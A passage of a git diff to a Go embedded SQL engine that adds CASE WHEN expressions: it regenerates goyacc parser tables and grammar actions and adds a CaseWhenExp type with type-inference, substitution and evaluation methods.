134, - 22, 258, 68, 42, 26, 30, 34, 2, 35, 312, - 37, 126, 125, 190, 73, 74, 179, 136, 40, 123, - 27, 29, 28, 287, 288, 289, 21, 294, 293, 139, - 137, 198, 63, 23, 41, 333, 144, 162, 358, 375, - 393, 407, 325, 95, 93, 368, 98, 97, 384, 308, - 307, 305, 124, 72, 89, 61, 169, 103, 335, 396, - 193, 238, 20, 5, 4, 3, 1, + 131, 427, 103, 107, 313, 202, 266, 336, 351, 208, + 153, 354, 115, 244, 249, 319, 245, 308, 199, 299, + 71, 394, 144, 22, 6, 147, 342, 264, 341, 415, + 355, 264, 294, 264, 264, 264, 399, 129, 130, 106, + 379, 368, 343, 303, 265, 99, 161, 398, 101, 356, + 24, 395, 118, 114, 387, 21, 370, 367, 365, 116, + 117, 329, 96, 327, 119, 161, 109, 110, 111, 112, + 113, 108, 154, 155, 157, 156, 158, 100, 160, 326, + 426, 324, 293, 105, 242, 291, 290, 285, 263, 352, + 106, 154, 155, 157, 156, 158, 99, 179, 240, 101, + 167, 168, 298, 118, 114, 284, 170, 178, 161, 178, + 116, 117, 132, 161, 149, 119, 279, 109, 110, 111, + 112, 113, 108, 278, 277, 159, 160, 276, 100, 251, + 188, 187, 181, 177, 105, 176, 157, 156, 158, 154, + 155, 157, 156, 158, 169, 143, 204, 232, 142, 163, + 213, 419, 381, 217, 145, 218, 219, 220, 221, 222, + 223, 224, 201, 161, 215, 185, 186, 295, 294, 205, + 161, 264, 152, 83, 237, 159, 160, 162, 243, 246, + 241, 238, 159, 160, 175, 179, 289, 134, 378, 154, + 155, 157, 156, 158, 231, 416, 154, 155, 157, 156, + 158, 206, 242, 260, 253, 255, 377, 254, 271, 108, + 239, 269, 339, 32, 272, 338, 211, 212, 214, 163, + 33, 334, 296, 230, 216, 106, 280, 76, 281, 283, + 273, 99, 270, 242, 101, 274, 286, 287, 118, 114, + 200, 373, 362, 210, 347, 116, 117, 162, 346, 345, + 119, 328, 109, 110, 111, 112, 113, 108, 311, 148, + 259, 258, 257, 100, 94, 256, 250, 252, 315, 105, + 297, 247, 227, 197, 196, 189, 317, 250, 182, 150, + 305, 133, 122, 312, 323, 246, 120, 91, 310, 333, + 310, 54, 80, 79, 78, 335, 75, 70, 77, 161, + 69, 331, 322, 31, 292, 207, 376, 166, 393, 330, + 337, 159, 160, 375, 226, 353, 165, 344, 161, 58, + 275, 225, 357, 22, 389, 154, 155, 157, 156, 158, + 159, 160, 282, 369, 60, 361, 359, 363, 364, 372, + 366, 358, 392, 39, 154, 155, 157, 156, 158, 161, + 180, 106, 65, 246, 309, 21, 121, 99, 233, 49, + 101, 22, 22, 173, 118, 114, 382, 235, 90, 236, + 386, 116, 117, 215, 228, 383, 119, 229, 109, 110, + 111, 112, 113, 108, 55, 56, 57, 59, 410, 100, + 397, 407, 403, 21, 21, 105, 314, 406, 404, 418, + 405, 267, 411, 402, 332, 145, 413, 161, 385, 288, + 428, 429, 401, 161, 360, 420, 417, 151, 161, 159, + 160, 424, 422, 425, 421, 159, 160, 140, 52, 430, + 159, 160, 431, 154, 155, 157, 156, 158, 64, 154, + 155, 157, 156, 158, 154, 155, 157, 156, 158, 10, + 12, 11, 43, 47, 62, 408, 396, 209, 380, 88, + 51, 50, 25, 82, 92, 339, 66, 67, 338, 390, + 388, 371, 13, 193, 194, 48, 137, 53, 190, 191, + 192, 14, 15, 304, 262, 261, 7, 414, 8, 9, + 16, 17, 349, 44, 18, 19, 36, 46, 45, 135, + 136, 22, 316, 183, 42, 26, 30, 124, 85, 86, + 87, 34, 123, 35, 2, 84, 81, 268, 68, 40, + 38, 27, 29, 28, 325, 128, 127, 73, 74, 300, + 301, 302, 195, 21, 184, 37, 138, 125, 307, 63, + 306, 141, 139, 203, 23, 172, 41, 348, 146, 164, + 374, 391, 409, 423, 340, 95, 93, 102, 384, 98, + 171, 234, 97, 400, 321, 320, 318, 126, 72, 89, + 61, 174, 104, 350, 412, 198, 248, 20, 5, 4, + 3, 1, } var yyPact = [...]int16{ - 424, -1000, -1000, -55, -1000, -1000, -1000, 373, -1000, -1000, - 477, 192, 463, 467, 427, 427, 365, 364, 331, 172, - 271, 350, 335, -1000, 424, -1000, 236, 236, 236, 457, - 187, -1000, 186, 478, 183, 144, 180, 177, 174, 440, - 382, 48, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 438, - 172, 172, 172, 351, -1000, 266, -1000, -1000, 168, -1000, - 398, 157, -1000, -1000, 166, 264, 165, 437, 236, 490, - -1000, -1000, 473, 23, 23, -1000, 158, 68, -1000, 450, - 488, 503, -1000, 427, 502, 20, 18, 319, 136, 224, - -1000, -1000, 156, 329, -1000, 47, 35, 212, -1000, 268, - 268, 13, -1000, -1000, 268, 65, 12, -1000, -1000, -1000, - -1000, -1000, 5, -1000, -1000, -1000, -1000, -17, -1000, 233, - 3, 155, 436, 486, -1000, 23, 23, -1000, 268, 320, - -1000, -2, 154, 419, 418, 412, 483, 151, -1000, 150, - 120, 120, 505, 268, 30, -1000, 189, -1000, -1000, 113, - 268, -1000, 268, 268, 268, 268, 268, 268, 268, 267, - -1000, 149, 269, 109, -1000, 228, 75, 224, -19, 36, - 90, 40, 268, 268, 148, -1000, 143, -3, 147, 84, - -1000, -1000, 320, 120, -1000, 143, 142, 140, 139, 137, - 77, 426, 423, -32, 46, -1000, -67, 289, 456, 320, - 505, 136, 268, 505, 478, 288, -11, -13, -14, -16, - 119, -20, 35, 75, 75, 230, 230, 230, 228, 223, - -1000, 215, -1000, 268, -21, -1000, -33, -1000, 76, -1000, - -34, -35, 67, 314, -36, 45, 320, -1000, 44, -1000, - 97, 120, -28, 492, -70, -1000, -1000, 422, -1000, -1000, - 492, 500, 499, 239, 130, 239, 291, 268, 433, 289, - -1000, 320, 193, 119, -38, 468, -39, -42, 129, -51, - -1000, -1000, -1000, 228, -30, -1000, -1000, -1000, -1000, 91, - -1000, 268, 173, -85, -71, 120, -1000, -1000, -1000, -1000, - -1000, 128, -1000, 126, 124, 432, -29, -1000, -1000, -1000, - -1000, 268, 320, -57, 291, 319, -1000, 193, 326, -1000, - -1000, 119, 123, 119, 119, -52, 119, -56, -72, -60, - 320, 407, -1000, 268, 122, 217, 94, 93, -1000, -73, - -1000, -1000, -1000, -1000, 349, 41, -1000, 268, 320, -1000, - -1000, 120, -1000, 312, -1000, 113, -1000, -63, -1000, -1000, - -1000, -1000, -1000, -1000, -1000, 408, 209, 404, 210, -1000, - 211, -89, -64, -1000, 345, -29, -65, -74, 324, 308, - 505, 119, -57, 406, 268, -1000, -1000, -1000, -1000, -1000, - 339, -1000, -1000, -1000, 286, 268, 116, 431, -1000, -78, - -1000, 88, -1000, 289, 305, 320, 33, -1000, 268, -1000, - 406, 291, 78, 116, 320, -1000, -1000, 32, 282, -1000, - 78, -1000, -1000, -1000, 282, -1000, + 445, -1000, -1000, -65, -1000, -1000, -1000, 420, -1000, -1000, + 498, 206, 488, 512, 448, 448, 414, 413, 370, 194, + 314, 296, 397, -1000, 445, -1000, 272, 272, 272, 493, + 203, -1000, 200, 511, 199, 201, 197, 196, 195, 490, + 423, 65, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 489, + 194, 194, 194, 408, -1000, 297, -1000, -1000, 190, -1000, + 425, 153, -1000, -1000, 189, 278, 185, 486, 272, 528, + -1000, -1000, 507, 18, 18, -1000, 184, 81, -1000, 471, + 527, 535, -1000, 448, 534, 32, 29, 344, 162, 267, + -1000, -1000, 182, 359, -1000, 64, 80, 229, -1000, 279, + 279, 28, -1000, -1000, -1000, 279, 290, 77, 19, -1000, + -1000, -1000, -1000, -1000, 17, -1000, -1000, -1000, -1000, -9, + -1000, 269, 16, 181, 477, 524, -1000, 18, 18, -1000, + 279, 324, -1000, 14, 178, 447, 449, 442, 522, 177, + -1000, 176, 143, 143, 537, 279, 93, -1000, 209, -1000, + -1000, 127, 279, -1000, 279, 279, 279, 279, 279, 279, + 279, 236, -1000, 175, 295, 125, -1000, -18, 25, 267, + 30, 282, 294, 279, 74, 109, -13, 279, 279, 174, + -1000, 169, 13, 170, 103, -1000, -1000, 324, 143, -1000, + 169, 168, 165, 164, 163, 102, 455, 454, -29, 63, + -1000, -73, 337, 492, 324, 537, 162, 279, 537, 511, + 305, 11, 8, 7, 0, 150, -7, 80, 25, 25, + 266, 266, 266, -18, -37, -1000, 247, -1000, 279, -11, + -1000, -30, -1000, -1000, -1000, 279, 279, 335, 85, -1000, + -31, -32, 79, 235, -35, 60, 324, -1000, 59, -1000, + 124, 143, -14, 518, -74, -1000, -1000, 453, -1000, -1000, + 518, 532, 530, 306, 161, 306, 331, 279, 476, 337, + -1000, 324, 208, 150, -36, 503, -38, -54, 154, -56, + -1000, -1000, -1000, -18, -33, -1000, 330, 324, 279, -1000, + -1000, -1000, 123, -1000, 279, 180, -90, -75, 143, -1000, + -1000, -1000, -1000, -1000, 152, -1000, 151, 147, 466, -27, + -1000, -1000, -1000, -1000, 279, 324, -67, 331, 344, -1000, + 208, 355, -1000, -1000, 150, 145, 150, 150, -59, 150, + -60, -76, 279, 324, -61, 324, 438, -1000, 279, 144, + 228, 107, 89, -1000, -77, -1000, -1000, -1000, -1000, 406, + 44, -1000, 279, 324, -1000, -1000, 143, -1000, 346, -1000, + 127, -1000, -63, -1000, -1000, -1000, -1000, -1000, -1000, 324, + -1000, 436, 216, 434, 258, -1000, 223, -98, -66, -1000, + 403, -27, -70, -81, 352, 340, 537, 150, -67, 433, + 279, -1000, -1000, -1000, -1000, -1000, 401, -1000, -1000, -1000, + 322, 279, 136, 461, -1000, -88, -1000, 87, -1000, 337, + 336, 324, 43, -1000, 279, -1000, 433, 331, 105, 136, + 324, -1000, -1000, -28, 343, -1000, 105, -1000, -1000, -1000, + 343, -1000, } var yyPgo = [...]int16{ - 0, 546, 487, 545, 544, 543, 16, 542, 541, 14, - 18, 9, 540, 539, 538, 10, 17, 13, 537, 11, - 2, 536, 3, 535, 534, 12, 20, 394, 21, 533, - 532, 36, 531, 15, 530, 529, 7, 0, 19, 528, - 527, 526, 525, 6, 4, 524, 523, 522, 5, 521, - 520, 1, 8, 367, 519, 518, 517, 23, 516, 515, - 22, 514, 285, 513, + 0, 581, 514, 580, 579, 578, 24, 577, 576, 14, + 18, 11, 575, 574, 573, 8, 16, 13, 572, 12, + 2, 571, 3, 570, 569, 9, 17, 457, 20, 568, + 567, 37, 566, 15, 565, 564, 7, 0, 22, 563, + 562, 561, 560, 559, 558, 6, 4, 557, 556, 555, + 554, 10, 553, 552, 1, 5, 438, 551, 550, 549, + 25, 548, 547, 19, 546, 343, 545, 544, } var yyR1 = [...]int8{ - 0, 1, 2, 2, 63, 63, 3, 3, 3, 4, + 0, 1, 2, 2, 67, 67, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 4, 62, 62, 62, 61, 61, 61, 61, - 61, 61, 61, 60, 60, 60, 60, 53, 53, 11, - 11, 5, 5, 5, 5, 26, 26, 59, 59, 58, - 58, 57, 12, 12, 14, 14, 15, 10, 10, 13, + 4, 4, 4, 65, 65, 65, 64, 64, 64, 64, + 64, 64, 64, 63, 63, 63, 63, 56, 56, 11, + 11, 5, 5, 5, 5, 26, 26, 62, 62, 61, + 61, 60, 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, 18, 18, 18, 18, 18, - 18, 18, 18, 18, 18, 19, 8, 8, 9, 47, - 47, 47, 54, 54, 55, 55, 55, 6, 6, 6, + 18, 18, 18, 18, 18, 19, 8, 8, 9, 50, + 50, 50, 57, 57, 58, 58, 58, 6, 6, 6, 6, 6, 6, 6, 6, 7, 24, 24, 23, 23, - 45, 45, 46, 46, 20, 20, 20, 20, 21, 21, + 48, 48, 49, 49, 20, 20, 20, 20, 21, 21, 22, 22, 25, 25, 25, 25, 25, 25, 25, 25, 27, 28, 29, 29, 29, 30, 30, 30, 31, 31, - 32, 32, 33, 33, 34, 35, 35, 38, 38, 42, - 42, 39, 39, 43, 43, 44, 44, 50, 50, 52, - 52, 49, 49, 51, 51, 51, 48, 48, 48, 36, + 32, 32, 33, 33, 34, 35, 35, 38, 38, 44, + 44, 39, 39, 45, 45, 46, 46, 53, 53, 55, + 55, 52, 52, 54, 54, 54, 51, 51, 51, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, - 40, 40, 40, 40, 56, 56, 41, 41, 41, 41, - 41, 41, 41, 41, 41, + 37, 47, 42, 66, 66, 41, 41, 40, 40, 40, + 40, 59, 59, 43, 43, 43, 43, 43, 43, 43, + 43, 43, } var yyR2 = [...]int8{ @@ -457,53 +477,56 @@ var yyR2 = [...]int8{ 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, 0, 4, 6, 1, 1, 2, 2, 4, 4, 6, 6, - 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, - 3, 3, 3, 3, 4, + 1, 3, 2, 4, 5, 0, 2, 1, 1, 3, + 3, 0, 1, 3, 3, 3, 3, 3, 3, 3, + 3, 4, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 41, 43, 44, 4, 6, 5, 27, 36, 37, 45, 46, 49, 50, - -7, 82, 56, -63, 109, 42, 7, 23, 25, 24, - 8, 91, 7, 14, 23, 25, 8, 23, 8, -62, - 71, -61, 56, 4, 45, 50, 49, 5, 27, -62, - 47, 47, 58, -27, 91, 70, 83, 84, 23, 85, - 38, -23, 57, -2, -53, 74, -53, -53, 25, 91, - 91, -28, -29, 16, 17, 91, 26, 91, 91, 91, - 91, 26, 40, 102, 26, -27, -27, -27, 51, -24, - 71, 91, 39, -45, 105, -46, -37, -40, -41, 72, - 104, 75, -20, -18, 110, -22, 98, 93, 94, 95, - 96, 97, 80, -19, 86, 87, 79, 91, 91, 72, - 91, 26, -53, 9, -30, 19, 18, -31, 20, -37, - -31, 91, 100, 28, 29, 5, 9, 7, -62, 7, - 110, 110, -38, 61, -58, -57, 91, -6, 91, 58, - 102, -48, 103, 104, 106, 105, 107, 89, 90, 77, - 91, 69, -56, 81, 72, -37, -37, 110, -37, -21, - 101, 110, 110, 110, 100, 75, 110, 91, 26, 10, - -31, -31, -37, 110, 91, 31, 30, 31, 31, 32, - 10, 91, 91, -12, -10, 91, -10, -52, 6, -37, - -38, 102, 90, -25, -27, 110, 83, 84, 23, 85, - -19, 91, -37, -37, -37, -37, -37, -37, -37, -37, - 79, 72, 91, 73, 76, 92, -6, 111, 101, 95, - 105, -22, 91, -37, -17, -16, -37, 91, -8, -9, - 91, 110, 91, 95, -10, -9, 91, 91, 91, 91, - 95, 30, 30, 111, 102, 111, -43, 64, 25, -52, - -57, -37, -52, -28, -6, 15, 110, 110, 110, 110, - -48, -48, 79, -37, 110, 111, 95, 111, 111, 69, - 111, 102, 102, 92, -10, 110, -60, 11, 12, 13, - 111, 30, -60, 8, 8, -26, 48, -6, 91, -26, - -44, 65, -37, 26, -43, -32, -33, -34, -35, 88, - -48, 111, 21, 111, 111, 91, 111, -6, -16, 92, - -37, -36, -9, 35, 32, -47, 112, 110, 111, -10, - 91, 91, 91, -59, 26, -14, -15, 110, -37, -11, - 91, 110, -44, -38, -33, 59, -48, 91, -48, -48, - 111, -48, 111, 111, 111, 33, -37, 91, -55, 79, - 72, 93, 93, 111, 52, 102, -17, -10, -42, 62, - -25, 111, 34, 102, 35, -54, 78, 79, 113, 111, - 53, -15, 111, 111, -39, 60, 63, -52, -48, -11, - -36, -37, 54, -50, 66, -37, -13, -22, 26, 111, - 102, -43, 63, 102, -37, -36, -44, -49, -20, -22, - 102, -51, 67, 68, -20, -51, + -7, 88, 56, -67, 115, 42, 7, 23, 25, 24, + 8, 97, 7, 14, 23, 25, 8, 23, 8, -65, + 71, -64, 56, 4, 45, 50, 49, 5, 27, -65, + 47, 47, 58, -27, 97, 70, 89, 90, 23, 91, + 38, -23, 57, -2, -56, 80, -56, -56, 25, 97, + 97, -28, -29, 16, 17, 97, 26, 97, 97, 97, + 97, 26, 40, 108, 26, -27, -27, -27, 51, -24, + 71, 97, 39, -48, 111, -49, -37, -40, -43, 78, + 110, 81, -47, -20, -18, 116, 72, -22, 104, 99, + 100, 101, 102, 103, 86, -19, 92, 93, 85, 97, + 97, 78, 97, 26, -56, 9, -30, 19, 18, -31, + 20, -37, -31, 97, 106, 28, 29, 5, 9, 7, + -65, 7, 116, 116, -38, 61, -61, -60, 97, -6, + 97, 58, 108, -51, 109, 110, 112, 111, 113, 95, + 96, 83, 97, 69, -59, 87, 78, -37, -37, 116, + -37, -42, -66, 73, -21, 107, 116, 116, 116, 106, + 81, 116, 97, 26, 10, -31, -31, -37, 116, 97, + 31, 30, 31, 31, 32, 10, 97, 97, -12, -10, + 97, -10, -55, 6, -37, -38, 108, 96, -25, -27, + 116, 89, 90, 23, 91, -19, 97, -37, -37, -37, + -37, -37, -37, -37, -37, 85, 78, 97, 79, 82, + 98, -6, 117, 76, -41, 73, 75, -37, 107, 101, + 111, -22, 97, -37, -17, -16, -37, 97, -8, -9, + 97, 116, 97, 101, -10, -9, 97, 97, 97, 97, + 101, 30, 30, 117, 108, 117, -45, 64, 25, -55, + -60, -37, -55, -28, -6, 15, 116, 116, 116, 116, + -51, -51, 85, -37, 116, 117, -37, -37, 74, 101, + 117, 117, 69, 117, 108, 108, 98, -10, 116, -63, + 11, 12, 13, 117, 30, -63, 8, 8, -26, 48, + -6, 97, -26, -46, 65, -37, 26, -45, -32, -33, + -34, -35, 94, -51, 117, 21, 117, 117, 97, 117, + -6, -16, 74, -37, 98, -37, -36, -9, 35, 32, + -50, 118, 116, 117, -10, 97, 97, 97, -62, 26, + -14, -15, 116, -37, -11, 97, 116, -46, -38, -33, + 59, -51, 97, -51, -51, 117, -51, 117, 117, -37, + 117, 33, -37, 97, -58, 85, 78, 99, 99, 117, + 52, 108, -17, -10, -44, 62, -25, 117, 34, 108, + 35, -57, 84, 85, 119, 117, 53, -15, 117, 117, + -39, 60, 63, -55, -51, -11, -36, -37, 54, -53, + 66, -37, -13, -22, 26, 117, 108, -45, 63, 108, + -37, -36, -46, -52, -20, -22, 108, -54, 67, 68, + -20, -54, } var yyDef = [...]int16{ @@ -517,51 +540,53 @@ var yyDef = [...]int16{ 15, 16, 135, 0, 0, 18, 0, 0, 30, 0, 0, 0, 33, 0, 0, 0, 0, 147, 0, 0, 107, 101, 0, 0, 110, 111, 166, -2, 173, 0, - 0, 0, 180, 181, 0, 114, 0, 75, 76, 77, - 78, 79, 0, 81, 82, 83, 84, 120, 13, 0, - 0, 0, 0, 0, 131, 0, 0, 133, 0, 139, - 134, 0, 0, 0, 0, 0, 0, 0, 35, 0, - 62, 0, 159, 0, 147, 59, 0, 98, 104, 0, - 0, 112, 0, 0, 0, 0, 0, 0, 0, 0, - 167, 0, 0, 0, 185, 174, 175, 0, 0, 115, - 0, 0, 0, 71, 0, 48, 0, 0, 0, 0, - 136, 137, 138, 0, 22, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 63, 67, 0, 153, 0, 148, - 159, 0, 0, 159, 132, 0, 0, 0, 0, 0, - 166, 130, 166, 186, 187, 188, 189, 190, 191, 192, - 193, 0, 168, 0, 0, 183, 0, 182, 0, 118, + 0, 0, 180, 187, 188, 0, 0, 114, 0, 75, + 76, 77, 78, 79, 0, 81, 82, 83, 84, 120, + 13, 0, 0, 0, 0, 0, 131, 0, 0, 133, + 0, 139, 134, 0, 0, 0, 0, 0, 0, 0, + 35, 0, 62, 0, 159, 0, 147, 59, 0, 98, + 104, 0, 0, 112, 0, 0, 0, 0, 0, 0, + 0, 0, 167, 0, 0, 0, 192, 174, 175, 0, + 0, 0, 185, 0, 115, 0, 0, 0, 71, 0, + 48, 0, 0, 0, 0, 136, 137, 138, 0, 22, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, + 67, 0, 153, 0, 148, 159, 0, 0, 159, 132, + 0, 0, 0, 0, 0, 166, 130, 166, 193, 194, + 195, 196, 197, 198, 199, 200, 0, 168, 0, 0, + 190, 0, 189, 181, 182, 0, 0, 0, 0, 118, 0, 0, 120, 0, 0, 72, 73, 121, 0, 86, 0, 0, 0, 43, 0, 23, 24, 0, 26, 27, 43, 0, 0, 0, 0, 0, 155, 0, 0, 153, 60, 61, -2, 166, 0, 0, 0, 0, 0, 0, - 128, 113, 194, 176, 0, 177, 119, 116, 117, 0, - 85, 0, 169, 89, 0, 0, 28, 44, 45, 46, - 21, 0, 29, 0, 0, 57, 0, 56, 68, 52, - 53, 0, 154, 0, 155, 147, 141, -2, 0, 146, - 122, 166, 0, 166, 166, 0, 166, 0, 0, 0, - 74, 0, 87, 0, 0, 94, 0, 0, 19, 0, - 25, 31, 32, 51, 0, 55, 64, 71, 156, 160, - 49, 0, 54, 149, 143, 0, 123, 0, 124, 125, - 126, 127, 178, 179, 80, 0, 0, 0, 92, 95, - 0, 0, 0, 20, 0, 0, 0, 0, 151, 0, - 159, 166, 0, 169, 0, 88, 93, 96, 90, 91, - 0, 65, 66, 50, 157, 0, 0, 0, 129, 0, - 170, 0, 58, 153, 0, 152, 150, 69, 0, 17, - 169, 155, 0, 0, 144, 171, 105, 158, 163, 70, - 0, 161, 164, 165, 163, 162, + 128, 113, 201, 176, 0, 177, 0, 186, 0, 119, + 116, 117, 0, 85, 0, 169, 89, 0, 0, 28, + 44, 45, 46, 21, 0, 29, 0, 0, 57, 0, + 56, 68, 52, 53, 0, 154, 0, 155, 147, 141, + -2, 0, 146, 122, 166, 0, 166, 166, 0, 166, + 0, 0, 0, 183, 0, 74, 0, 87, 0, 0, + 94, 0, 0, 19, 0, 25, 31, 32, 51, 0, + 55, 64, 71, 156, 160, 49, 0, 54, 149, 143, + 0, 123, 0, 124, 125, 126, 127, 178, 179, 184, + 80, 0, 0, 0, 92, 95, 0, 0, 0, 20, + 0, 0, 0, 0, 151, 0, 159, 166, 0, 169, + 0, 88, 93, 96, 90, 91, 0, 65, 66, 50, + 157, 0, 0, 0, 129, 0, 170, 0, 58, 153, + 0, 152, 150, 69, 0, 17, 169, 155, 0, 0, + 144, 171, 105, 158, 163, 70, 0, 161, 164, 165, + 163, 162, } var yyTok1 = [...]int8{ 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 107, 3, 3, - 110, 111, 105, 103, 102, 104, 108, 106, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 113, 3, 3, + 116, 117, 111, 109, 108, 110, 114, 112, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 112, 3, 113, + 3, 118, 3, 119, } var yyTok2 = [...]int8{ @@ -575,7 +600,7 @@ var yyTok2 = [...]int8{ 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, - 109, + 102, 103, 104, 105, 106, 107, 115, } var yyTok3 = [...]int8{ @@ -1826,74 +1851,112 @@ yydefault: case 180: yyDollar = yyS[yypt-1 : yypt+1] { - yyVAL.exp = yyDollar[1].sel + yyVAL.exp = yyDollar[1].exp } case 181: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.exp = yyDollar[2].exp + } + case 182: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.exp = &CaseWhenExp{ + whenThen: yyDollar[1].whenThenClauses, + elseExp: yyDollar[2].exp, + } + } + case 183: + yyDollar = yyS[yypt-4 : yypt+1] + { + yyVAL.whenThenClauses = []whenThenClause{{when: yyDollar[2].exp, then: yyDollar[4].exp}} + } + case 184: + yyDollar = yyS[yypt-5 : yypt+1] + { + yyVAL.whenThenClauses = append(yyDollar[1].whenThenClauses, whenThenClause{when: yyDollar[3].exp, then: yyDollar[5].exp}) + } + case 185: + yyDollar = yyS[yypt-0 : yypt+1] + { + yyVAL.exp = nil + } + case 186: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.exp = yyDollar[2].exp + } + case 187: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.exp = yyDollar[1].sel + } + case 188: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 182: + case 189: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 183: + case 190: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 184: + case 191: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 185: + case 192: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 186: + case 193: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 187: + case 194: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 188: + case 195: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 189: + case 196: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 190: + case 197: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MODOP, right: yyDollar[3].exp} } - case 191: + case 198: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 192: + case 199: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 193: + case 200: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 194: + case 201: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 6fa519228a..2a54b5b972 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1839,7 +1839,6 @@ func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[st tx.updatedRows++ } - return tx, nil } @@ -2941,6 +2940,178 @@ func (v *Param) String() string { return "@" + v.id } +type whenThenClause struct { + when, then ValueExp +} + +type CaseWhenExp struct { + whenThen []whenThenClause + elseExp ValueExp +} + +func (ce *CaseWhenExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + checkType := func(e ValueExp, expectedType SQLValueType) (string, error) { + t, err := e.inferType(cols, params, implicitTable) + if err != nil { + return "", err + } + + if expectedType == AnyType { + return t, nil + } + + if t != expectedType { + if (t == Float64Type && expectedType == IntegerType) || + (t == IntegerType && expectedType == Float64Type) { + return Float64Type, nil + } + return "", fmt.Errorf("%w: CASE types %s and %s cannot be matched", ErrInferredMultipleTypes, expectedType, t) + } + return t, nil + } + + inferredType := AnyType + for _, e := range ce.whenThen { + whenType, err := e.when.inferType(cols, params, implicitTable) + if err != nil { + return "", err + } + + if whenType != BooleanType { + return "", fmt.Errorf("%w: argument of CASE/WHEN must be type %s, not type %s", ErrInvalidTypes, BooleanType, whenType) + } + + t, err := checkType(e.then, inferredType) + if err != nil { + return "", err + } + inferredType = t + } + return checkType(ce.elseExp, inferredType) +} + +func (ce *CaseWhenExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + inferredType, err := ce.inferType(cols, params, implicitTable) + if err != nil { + return err + } + + if inferredType != t { + return fmt.Errorf("%w: expected type %s but %s found instead", ErrInvalidTypes, t, inferredType) + } + return nil +} + +func (ce *CaseWhenExp) substitute(params map[string]interface{}) (ValueExp, error) { + whenThen := make([]whenThenClause, len(ce.whenThen)) + for i, wt := range ce.whenThen { + whenValue, err := wt.when.substitute(params) + if err != nil { + return nil, err + } + whenThen[i].when = whenValue + + thenValue, err := wt.then.substitute(params) + if err != nil { + return nil, err + } + whenThen[i].then = thenValue + } + + if ce.elseExp == nil { + return &CaseWhenExp{ + whenThen: whenThen, + }, nil + } + + elseValue, err := ce.elseExp.substitute(params) + if err != nil { + return nil, err + } + return &CaseWhenExp{ + whenThen: whenThen, + elseExp: elseValue, + }, nil +} + +func (ce *CaseWhenExp) selectors() []Selector { + selectors := make([]Selector, 0) + + for _, wh := range ce.whenThen { + selectors = append(selectors, wh.when.selectors()...) + selectors = append(selectors, wh.then.selectors()...) + } + + if ce.elseExp == nil { + return selectors + } + return append(selectors, ce.elseExp.selectors()...) +} + +func (ce *CaseWhenExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + for _, wt := range ce.whenThen { + v, err := wt.when.reduce(tx, row, implicitTable) + if err != nil { + return nil, err + } + + if v.Type() != BooleanType { + return nil, fmt.Errorf("%w: argument of CASE/WHEN must be type %s, not type %s", ErrInvalidTypes, BooleanType, v.Type()) + } + + if v.RawValue() == true { + return wt.then.reduce(tx, row, 